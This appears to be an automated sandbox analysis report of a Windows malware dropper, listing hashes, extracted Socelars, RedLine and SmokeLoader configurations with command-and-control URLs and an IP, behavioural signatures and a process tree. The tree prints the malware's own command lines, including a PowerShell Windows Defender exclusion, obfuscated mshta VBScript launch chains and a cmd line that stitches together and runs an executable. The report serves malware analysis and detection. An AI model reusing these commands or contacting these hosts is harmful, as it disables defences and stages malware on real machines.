Analysis

  • max time kernel
    123s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    23/11/2021, 13:33

General

  • Target

    22BA4262D93379DE524029DAFC7528E431E56A22CB293.exe

  • Size

    7.3MB

  • MD5

    f108ef2b7fb1d0cf3b03ac8c720ef2f5

  • SHA1

    ec6a95ef49713e2b024cc0b77168381dd2d3f056

  • SHA256

    22ba4262d93379de524029dafc7528e431e56a22cb293af708c671d7db801c31

  • SHA512

    db540a6ac12bca59b2df2c3f3a53f0e4bef43572d34eb6f0dd1c67fd5fc7fe95c2ec90711d58ac793f7f60d060245615cd87b83b75f789d4e50ddf6edde3275e

Malware Config

Extracted

Family

socelars

C2

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.znsjis.top/

Extracted

Family

redline

Botnet

jamesfuck

C2

65.108.20.195:6774

Extracted

Family

smokeloader

Version

2020

C2

http://gmpeople.com/upload/

http://mile48.com/upload/

http://lecanardstsornin.com/upload/

http://m3600.com/upload/

http://camasirx.com/upload/

rc4.i32
rc4.i32

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • suricata: ET MALWARE ClipBanker Variant Activity (POST)

    suricata: ET MALWARE ClipBanker Variant Activity (POST)

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 18 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Drops file in System32 directory 9 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 16 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\services.exe
    C:\Windows\system32\services.exe
    1⤵
      PID:464
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious use of SetThreadContext
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:864
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k SystemNetworkService
        2⤵
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        PID:2276
    • C:\Users\Admin\AppData\Local\Temp\22BA4262D93379DE524029DAFC7528E431E56A22CB293.exe
      "C:\Users\Admin\AppData\Local\Temp\22BA4262D93379DE524029DAFC7528E431E56A22CB293.exe"
      1⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:928
      • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
        "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1444
        • C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\setup_install.exe
          "C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\setup_install.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1632
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            4⤵
              PID:1616
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:884
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Fri1486dbd994.exe
              4⤵
              • Loads dropped DLL
              PID:844
              • C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri1486dbd994.exe
                Fri1486dbd994.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1936
                • C:\Users\Admin\AppData\Local\Temp\is-KIG7Q.tmp\Fri1486dbd994.tmp
                  "C:\Users\Admin\AppData\Local\Temp\is-KIG7Q.tmp\Fri1486dbd994.tmp" /SL5="$4012E,239846,156160,C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri1486dbd994.exe"
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:976
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Fri1477cbb75ea13f.exe
              4⤵
              • Loads dropped DLL
              PID:956
              • C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri1477cbb75ea13f.exe
                Fri1477cbb75ea13f.exe
                5⤵
                • Executes dropped EXE
                PID:1328
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Fri14cca209e7d228f33.exe
              4⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1612
              • C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri14cca209e7d228f33.exe
                Fri14cca209e7d228f33.exe
                5⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:552
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Fri143bdea643dc8.exe
              4⤵
              • Loads dropped DLL
              PID:1468
              • C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri143bdea643dc8.exe
                Fri143bdea643dc8.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:2004
                • C:\Windows\SysWOW64\mshta.exe
                  "C:\Windows\System32\mshta.exe" vbSCRiPt: cloSe ( cReATEOBJecT ( "WScRIPt.SHelL" ). RUn ( "C:\Windows\system32\cmd.exe /c copY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri143bdea643dc8.exe"" SkVPVS3t6Y8W.EXe && STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF """" == """" for %U In ( ""C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri143bdea643dc8.exe"" ) do taskkill -F -Im ""%~nXU"" " , 0 , trUE ) )
                  6⤵
                    PID:692
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c copY /Y "C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri143bdea643dc8.exe" SkVPVS3t6Y8W.EXe && STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF "" == "" for %U In ( "C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri143bdea643dc8.exe" ) do taskkill -F -Im "%~nXU"
                      7⤵
                      • Loads dropped DLL
                      PID:2228
                      • C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe
                        SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK
                        8⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:2304
                        • C:\Windows\SysWOW64\mshta.exe
                          "C:\Windows\System32\mshta.exe" vbSCRiPt: cloSe ( cReATEOBJecT ( "WScRIPt.SHelL" ). RUn ( "C:\Windows\system32\cmd.exe /c copY /Y ""C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe"" SkVPVS3t6Y8W.EXe && STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF ""/phmOv~geMVZhd~P51OGqJQYYUK "" == """" for %U In ( ""C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe"" ) do taskkill -F -Im ""%~nXU"" " , 0 , trUE ) )
                          9⤵
                            PID:2348
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c copY /Y "C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe" SkVPVS3t6Y8W.EXe && STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF "/phmOv~geMVZhd~P51OGqJQYYUK " == "" for %U In ( "C:\Users\Admin\AppData\Local\Temp\SkVPVS3t6Y8W.EXe" ) do taskkill -F -Im "%~nXU"
                              10⤵
                                PID:2468
                            • C:\Windows\SysWOW64\mshta.exe
                              "C:\Windows\System32\mshta.exe" vBsCRipT: CloSE ( CReaTEoBJEct ( "WSCRIPT.SHElL" ). rUn ("cMd /q /C eCHo | SET /P = ""MZ"" > yW7bB.DeE &COpy /Y /b YW7bB.DEe + YLRXm6O.QZ + 3UII17.UI + EZZS.MDf + Uts09Z.AiZ + JNYESn.Co FUEJ5.QM & StARt control .\FUEj5.QM " , 0 , tRuE ) )
                              9⤵
                                PID:2792
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /q /C eCHo | SET /P = "MZ" > yW7bB.DeE &COpy /Y /b YW7bB.DEe + YLRXm6O.QZ+ 3UII17.UI + EZZS.MDf + Uts09Z.AiZ + JNYESn.Co FUEJ5.QM& StARt control .\FUEj5.QM
                                  10⤵
                                    PID:2920
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /S /D /c" eCHo "
                                      11⤵
                                        PID:2964
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>yW7bB.DeE"
                                        11⤵
                                          PID:2976
                                        • C:\Windows\SysWOW64\control.exe
                                          control .\FUEj5.QM
                                          11⤵
                                            PID:2996
                                            • C:\Windows\SysWOW64\rundll32.exe
                                              "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\FUEj5.QM
                                              12⤵
                                              • Loads dropped DLL
                                              PID:3032
                                              • C:\Windows\system32\RunDll32.exe
                                                C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\FUEj5.QM
                                                13⤵
                                                  PID:2684
                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                    "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\FUEj5.QM
                                                    14⤵
                                                      PID:2716
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill -F -Im "Fri143bdea643dc8.exe"
                                          8⤵
                                          • Kills process with taskkill
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2324
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Fri14cd6206e935a5.exe
                                  4⤵
                                  • Loads dropped DLL
                                  PID:1628
                                  • C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri14cd6206e935a5.exe
                                    Fri14cd6206e935a5.exe
                                    5⤵
                                    • Executes dropped EXE
                                    • Checks BIOS information in registry
                                    • Loads dropped DLL
                                    • Checks whether UAC is enabled
                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:1772
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Fri146b97e676608e.exe
                                  4⤵
                                  • Loads dropped DLL
                                  PID:604
                                  • C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri146b97e676608e.exe
                                    Fri146b97e676608e.exe
                                    5⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Checks SCSI registry key(s)
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious behavior: MapViewOfSection
                                    PID:1060
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Fri14cceb42198d72.exe
                                  4⤵
                                  • Loads dropped DLL
                                  PID:2032
                                  • C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri14cceb42198d72.exe
                                    Fri14cceb42198d72.exe
                                    5⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    PID:1296
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Fri144fc72ae8ff3.exe
                                  4⤵
                                  • Loads dropped DLL
                                  PID:2036
                                  • C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri144fc72ae8ff3.exe
                                    Fri144fc72ae8ff3.exe
                                    5⤵
                                    • Executes dropped EXE
                                    • Checks computer location settings
                                    • Loads dropped DLL
                                    PID:1680
                                    • C:\Users\Admin\Pictures\Adobe Films\UZk0Up3GjnNzKdpFS9IUhgTl.exe
                                      "C:\Users\Admin\Pictures\Adobe Films\UZk0Up3GjnNzKdpFS9IUhgTl.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      PID:916
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1680 -s 1528
                                      6⤵
                                      • Program crash
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2848
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Fri14fd46b68bd.exe
                                  4⤵
                                  • Loads dropped DLL
                                  PID:1640
                                  • C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri14fd46b68bd.exe
                                    Fri14fd46b68bd.exe
                                    5⤵
                                    • Executes dropped EXE
                                    PID:1756
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Fri14e5a04914b596.exe
                                  4⤵
                                  • Loads dropped DLL
                                  PID:308
                                  • C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri14e5a04914b596.exe
                                    Fri14e5a04914b596.exe
                                    5⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Modifies system certificate store
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:436
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd.exe /c taskkill /f /im chrome.exe
                                      6⤵
                                        PID:2560
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill /f /im chrome.exe
                                          7⤵
                                          • Kills process with taskkill
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2608
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Fri14e2c7a8f9d04578.exe
                                    4⤵
                                    • Loads dropped DLL
                                    PID:1820
                                    • C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri14e2c7a8f9d04578.exe
                                      Fri14e2c7a8f9d04578.exe
                                      5⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:1572
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Fri14016c5e6d434.exe /mixone
                                    4⤵
                                    • Loads dropped DLL
                                    PID:1668
                                    • C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri14016c5e6d434.exe
                                      Fri14016c5e6d434.exe /mixone
                                      5⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Suspicious behavior: GetForegroundWindowSpam
                                      PID:1200
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Fri14d170afc5.exe
                                    4⤵
                                    • Loads dropped DLL
                                    PID:1652
                                    • C:\Users\Admin\AppData\Local\Temp\7zS4A59C6B5\Fri14d170afc5.exe
                                      Fri14d170afc5.exe
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:984
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 1632 -s 468
                                    4⤵
                                    • Loads dropped DLL
                                    • Program crash
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1856
                            • C:\Windows\system32\rundll32.exe
                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                              1⤵
                              • Process spawned unexpected child process
                              PID:2080
                              • C:\Windows\SysWOW64\rundll32.exe
                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                2⤵
                                • Modifies registry class
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1064

                            Network

                                  MITRE ATT&CK Enterprise v6

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • memory/552-236-0x000000001B0B0000-0x000000001B0B2000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/552-206-0x0000000000A40000-0x0000000000A41000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/864-266-0x0000000000EE0000-0x0000000000F52000-memory.dmp

                                    Filesize

                                    456KB

                                  • memory/864-265-0x00000000008B0000-0x00000000008FD000-memory.dmp

                                    Filesize

                                    308KB

                                  • memory/884-211-0x00000000020C0000-0x0000000002D0A000-memory.dmp

                                    Filesize

                                    12.3MB

                                  • memory/884-212-0x00000000020C0000-0x0000000002D0A000-memory.dmp

                                    Filesize

                                    12.3MB

                                  • memory/884-237-0x00000000020C0000-0x0000000002D0A000-memory.dmp

                                    Filesize

                                    12.3MB

                                  • memory/928-55-0x00000000765D1000-0x00000000765D3000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/976-202-0x0000000000260000-0x0000000000261000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/984-205-0x0000000000ED0000-0x0000000000ED1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/984-222-0x00000000003D0000-0x00000000003D1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/984-243-0x000000001ADF0000-0x000000001ADF2000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/1060-215-0x0000000000230000-0x0000000000285000-memory.dmp

                                    Filesize

                                    340KB

                                  • memory/1060-186-0x00000000005C0000-0x00000000005C9000-memory.dmp

                                    Filesize

                                    36KB

                                  • memory/1060-216-0x0000000000400000-0x0000000000455000-memory.dmp

                                    Filesize

                                    340KB

                                  • memory/1064-264-0x0000000000320000-0x000000000037D000-memory.dmp

                                    Filesize

                                    372KB

                                  • memory/1064-263-0x0000000001EA0000-0x0000000001FA1000-memory.dmp

                                    Filesize

                                    1.0MB

                                  • memory/1200-197-0x00000000005A0000-0x00000000005C9000-memory.dmp

                                    Filesize

                                    164KB

                                  • memory/1200-225-0x0000000000240000-0x0000000000288000-memory.dmp

                                    Filesize

                                    288KB

                                  • memory/1200-224-0x0000000000400000-0x0000000000475000-memory.dmp

                                    Filesize

                                    468KB

                                  • memory/1384-262-0x0000000002AC0000-0x0000000002AD5000-memory.dmp

                                    Filesize

                                    84KB

                                  • memory/1572-235-0x0000000004C83000-0x0000000004C84000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1572-230-0x0000000000B30000-0x0000000000B4E000-memory.dmp

                                    Filesize

                                    120KB

                                  • memory/1572-234-0x0000000004C82000-0x0000000004C83000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1572-223-0x0000000004C81000-0x0000000004C82000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1572-219-0x00000000003E0000-0x00000000003FF000-memory.dmp

                                    Filesize

                                    124KB

                                  • memory/1572-214-0x0000000000400000-0x0000000000453000-memory.dmp

                                    Filesize

                                    332KB

                                  • memory/1572-248-0x0000000004C84000-0x0000000004C86000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/1572-201-0x0000000000560000-0x0000000000583000-memory.dmp

                                    Filesize

                                    140KB

                                  • memory/1572-213-0x0000000000250000-0x0000000000280000-memory.dmp

                                    Filesize

                                    192KB

                                  • memory/1632-86-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                    Filesize

                                    572KB

                                  • memory/1632-84-0x0000000064940000-0x0000000064959000-memory.dmp

                                    Filesize

                                    100KB

                                  • memory/1632-89-0x0000000064940000-0x0000000064959000-memory.dmp

                                    Filesize

                                    100KB

                                  • memory/1632-95-0x0000000064940000-0x0000000064959000-memory.dmp

                                    Filesize

                                    100KB

                                  • memory/1632-93-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                    Filesize

                                    1.5MB

                                  • memory/1632-91-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                    Filesize

                                    1.5MB

                                  • memory/1632-90-0x0000000064940000-0x0000000064959000-memory.dmp

                                    Filesize

                                    100KB

                                  • memory/1632-87-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                    Filesize

                                    572KB

                                  • memory/1632-88-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                    Filesize

                                    572KB

                                  • memory/1632-92-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                    Filesize

                                    1.5MB

                                  • memory/1632-96-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                    Filesize

                                    1.5MB

                                  • memory/1632-85-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                    Filesize

                                    572KB

                                  • memory/1632-94-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                    Filesize

                                    1.5MB

                                  • memory/1632-97-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                    Filesize

                                    152KB

                                  • memory/1632-148-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                    Filesize

                                    152KB

                                  • memory/1680-284-0x0000000003EA0000-0x0000000003FEC000-memory.dmp

                                    Filesize

                                    1.3MB

                                  • memory/1772-218-0x0000000000D70000-0x0000000000D71000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1772-247-0x0000000003140000-0x0000000003141000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1856-246-0x00000000003B0000-0x00000000003B1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1936-155-0x0000000000400000-0x000000000042C000-memory.dmp

                                    Filesize

                                    176KB

                                  • memory/2276-281-0x00000000020E0000-0x00000000020FB000-memory.dmp

                                    Filesize

                                    108KB

                                  • memory/2276-270-0x0000000000320000-0x0000000000392000-memory.dmp

                                    Filesize

                                    456KB

                                  • memory/2276-282-0x0000000003080000-0x0000000003185000-memory.dmp

                                    Filesize

                                    1.0MB

                                  • memory/2716-279-0x0000000002020000-0x0000000002C6A000-memory.dmp

                                    Filesize

                                    12.3MB

                                  • memory/2716-280-0x00000000004A0000-0x000000000054B000-memory.dmp

                                    Filesize

                                    684KB

                                  • memory/2848-291-0x00000000004E0000-0x00000000004E1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/3032-268-0x0000000002090000-0x0000000002CDA000-memory.dmp

                                    Filesize

                                    12.3MB

                                  • memory/3032-271-0x0000000002090000-0x0000000002CDA000-memory.dmp

                                    Filesize

                                    12.3MB